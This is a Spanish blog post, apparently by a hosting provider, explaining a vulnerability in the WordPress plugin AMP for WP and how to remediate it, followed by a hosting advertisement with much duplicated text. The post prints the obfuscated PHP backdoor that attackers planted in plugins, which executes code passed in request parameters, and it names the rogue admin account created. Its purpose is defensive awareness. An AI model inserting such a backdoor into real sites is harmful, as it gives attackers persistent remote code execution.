Plugin AMP for WP – Seguridad Comprometida en WordPress

Categorias: Wordpress

Plugin AMP for WP - Seguridad Comprometida en WordPress

Todos los usuarios del gestor de contenidos WordPress hacen uso de algún plugin. Los plugins son una constante y una ventaja en WordPress, pero también pueden convertirse en un problema.

En ocasiones la seguridad de un plugin puede verse comprometida y si ha sido hackeado y lo estamos usando, nuestro WordPress puede estar en peligro y se hackeado a través del plugin con el problema de seguridad.

En este caso, el plugin afectado ha sido AMP for WP – Accelerated Mobile Pages, un plugin que crea páginas AMP, un código desarrollado por Google para ”aligerar” los sitios web y que se carguen más rápido al visitarlos con dispositivos móviles.

Debido a que Google indica que, si un sitio no está optimizado para dispositivos móviles se vería perjudicado en el SEO, muchos usuarios de WordPress optaron por usar el plugin AMP for WP para adaptar sus sitios a AMP.

Según WordPress.org, AMP for WP está instalado en más de 100.000 sitios activos, así que el problema del plugin ha podido afectar a muchos usuarios.

Este problema se une al reciente con el plugin WP GDPR Compliance.
 

Cómo Actua la Vulnerabilidad de AMP for WP

Cómo Actua la Vulnerabilidad de AMP for WP

La vulnerabilidad del plugin AMP for WP, solo afecta a los sitios que permiten el registro de usuarios en WordPress.

Es decir, que el usuario tenía que estar registrado para poder aprovecharse de la vulnerabilidad, así que si vuestro WordPress no tiene activada la opción de Cualquiera puede registrarse, en los ajustes generales de WordPress, no habéis estado en peligro.

Por desgracia no suele ser lo habitual y el registro de usuarios en WordPress es algo muy común y que además, está marcada por defecto, así que si no la habéis desactivado, lo más normal es que esté activa.

En el caso de que un usuario registrado como suscriptor o cualquier otro roll, puede llamar a los ganchos AJAX de WordPress e inyectar código malicioso JavaScript en cualquier parte del sitio.

Además, se ha detectado que tras añadir el malware, los atacantes podían secuestrar la sesión del navegador del administrador y registrar un nueva cuenta admin con el nombre de usuario: supportuuser.

Si el atacante consigue acceder como administrador, también añade puertas traseras PHP en algún plugin instalado en WordPress:

@array_diff_ukey(@array((string)@$_REQUEST['vqmode']=>1),
 @array((string)stripslashes(@$_REQUEST['map'])=>2),@$_REQUEST['bootup']);

@extract($_REQUEST);@die($cdate($adate));

De esta manera se asegura que, aunque se elimine la cuenta del administrador falso creada, el atacante puede volver a inyectar código malicioso.

Por supuesto, todo esto ha sido lo detectado por los siempre eficaces chicos de Wordfence, pero no significa que la metodología del ataque no pueda cambiar.

Tenéis más información técnica al respecto en aqui (en inglés).
 

Qué Debo Hacer si tengo Instalado AMP for WP

Qué Debo Hacer si tengo Instalado AMP for WP

Lo primero que debes hacer si tienes instalado el plugin AMP for WP, es actualizarlo.

La versión 0.9.97.20 ya está parcheada y resuelve el problema, la versiones anteriores no y son susceptibles recibir un ataque.

Como hemos comentado antes, es necesario que el atacante esté registrado en WordPress para poder lanzar el ataque, si tenemos usuarios registrados, debemos comprobar si tenemos alguna cuenta de administrador que no sea nuestra en WordPress o buscar si tenemos el usuario supportuuser, en cuyo caso habría que eliminarlo.

Después podemos revisar nuestro alojamiento en busca de algún malware que se haya podido instalar. Esto podemos hacerlo desde la opción Escáner de virus, disponible en cPanel.

En cualquier caso, siempre es recomendable mantener WordPress, plugin y themes instalados (aunque no estén activos) actualizados.

Hosting WordPress SSD Ultraseguro

En Hostinet ofrecemos a nuestros clientes interesados en WordPress los planes de hosting WordPress.

Estos planes están especialmente pensados en el gestor de contenidos WordPress y cuentan con un servicio de soporte técnico especializado en WordPress.

Si bien no podemos evitar que un plugin desarrollado por un tercero se vea comprometido y afecte a tu WordPress, si que podemos revisar tu hosting en buscad de malware instalado.

Si algún atacante a aprovechado alguna vulnerabilidad de algún plugin de WordPress para inyectar código malicioso, lo aislaremos y te pondremos sobre aviso para que puedas reparar el sitio lo antes posible y que el problema te afecte lo menos posible.

Estas son algunas de las opciones más populares de hosting WordPress SSD que podemos ofrecerte en Hostinet:

  • Hosting especializado en WordPress con discos nvmeWordPress 12´00 / mes
  • Hosting especializado en WordPress con discos nvmeWordPress 107´99 / mes
  • Hosting especializado en WordPress con discos nvmeWordPress 5011´99 / mes
  • Hosting especializado en WordPress con discos nvmeWordPress 7513´99 / mes
  • Hosting especializado en WordPress con discos nvmeWordPress 12´00/mes
  • Hosting especializado en WordPress con discos nvmeWordPress 107´99/mes
  • Hosting especializado en WordPress con discos nvmeWordPress 5011´99/mes
  • Hosting especializado en WordPress con discos nvmeWordPress 7513´99/mes
    • Una vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM ó .EU.Una vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM ó .EU.Una vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM ó .EU.Una vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM ó .EU.
    • Almacenamiento en disco duro ultra rápido SSDAlmacenamiento en disco duro ultra rápido SSDAlmacenamiento en disco duro ultra rápido SSDAlmacenamiento en disco duro ultra rápido SSDAlmacenamiento en disco duro ultra rápido SSDAlmacenamiento en disco duro ultra rápido SSD
    • El espacio en disco es la suma del espacio que ocupan los archivos que forman la web y el correo electrónico.
    • La transferencia de datos mensual es la cantidad total de información que se descargan los visitantes de nuestra web en cada acceso más nuestro uso a través de FTP y correo.
    • Ideado para sacar el máximo partido a tu WordPress
    • Aumenta la velocidad de tu web + Info
    • Tras evaluación de nuestro equipo de migraciones
    • Te ayudamos vía email y teléfono en todas tus consultas sobre hosting web
    • Elige la versión de PHP que necesites
    • Certificado SSL autofirmadoCertificados Let's Encrypt. Mas Información AQUICertificados Let's Encrypt. Mas Información AQUICertificados Let's Encrypt. Mas Información AQUICertificados Let's Encrypt. Mas Información AQUICertificados Let's Encrypt. Mas Información AQUI
    • Contrata tu hosting web y consigue dominios gratisUna vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM ó .EU.Una vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM ó .EU.Una vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM ó .EU.Una vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM ó .EU.Una vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM ó .EU.
    • Migramos tu web de tu actual host a HostinetMigramos tu web de tu actual host a HostinetMigramos tu web de tu actual host a HostinetMigramos tu web de tu actual host a HostinetMigramos tu web de tu actual host a Hostinet
    • Ideado para sacar el máximo partido a tu WordPress
    • Te ayudamos vía email y teléfono en todas tus consultas sobre hosting web
    • Hosting específicamente preparado para sacar el máximo rendimiento a tu Wordpress
    • Contrata tu hosting web y consigue dominios gratisUna vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM ó .EU.Una vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM ó .EU.Una vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM ó .EU.Una vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM ó .EU.
    • Cada dominio alojado muestra un contenido único y diferente del resto
    • Aparcando un dominio secundario en el alojamiento de nuestro dominio principal conseguimos que ambos dominios resuelvan indistintamente con la misma página que tenemos colgada.
    • Cuentas de correo gestionables a través de POP, IMAP y servicio Webmail
    • Tus buzones de correo y mails limpios de virus y con un potente filtro antispam
    • Centro de datos en Madrid (España)
    • Opción de contratación de certificados SSL. Se requiere Ip dedicada.Puedes contratar tu certificado SSL por solo 14.95 € al año AQUIPuedes contratar tu certificado SSL por solo 14.95 € al año AQUIPuedes contratar tu certificado SSL por solo 14.95 € al año AQUIPuedes contratar tu certificado SSL por solo 14.95 € al año AQUIPuedes contratar tu certificado SSL por solo 14.95 € al año AQUI
    • Bases de datos MySQL disponibles para su uso en cada alojamiento web
    • Supeditado al espacio total del alojamientoSupeditado al espacio total del alojamientoSupeditado al espacio total del alojamientoSupeditado al espacio total del alojamientoSupeditado al espacio total del alojamiento
    • ¿Quieres realizar desarrollos con Python? En Hostinet innovamos dia a dia en tu beneficio y por ello te presentamos como última novedad en todos nuestros servidores Web la posibilidad de desplegar tus aplicaciones con Python directamente desde el Plesk de tu Hosting.
    • ¿Quieres desarrollar tus aplicaciones con Ruby? En Hostinet te presentamos como última novedad en todos nuestros servicios de Hosting Web la posibilidad de desplegar tus aplicaciones con Ruby on Rails directamente desde el panel de control Plesk.
    • El fichero .htaccess permite modificar diferentes variables en la configuración de nuestra cuenta de alojamiento en el servidor.
    • El módulo mod_rewrite permite crear direcciones URL alternativas a las dinámicas generadas por la programación de nuestros sitio web (blog, foro, portal…), de tal modo que sean más legibles y fáciles de recordar
    • Te ayudamos vía email y teléfono en todas tus consultas sobre hosting web. Soporte en español por personal de Hostinet.
    • Completa recopilación de tutoriales sobre Hosting, Dominios y Wordpress
    • 30 dias para probar tu servicio de Hosting y si no te convence el servicio... te devolvemos el dinero!!
    • Copia diaria incremental realizada por HostinetCopia diaria incremental realizada por HostinetCopia diaria incremental realizada por HostinetCopia diaria incremental realizada por Hostinet
    • Podrás hacer tus copias de seguridad desde tu panel de alojamiento webPodrás hacer tus copias de seguridad desde tu panel de alojamiento webPodrás hacer tus copias de seguridad desde tu panel de alojamiento webPodrás hacer tus copias de seguridad desde tu panel de alojamiento webPodrás hacer tus copias de seguridad desde tu panel de alojamiento web
    • Precio para nuevas altas. Contratación anual.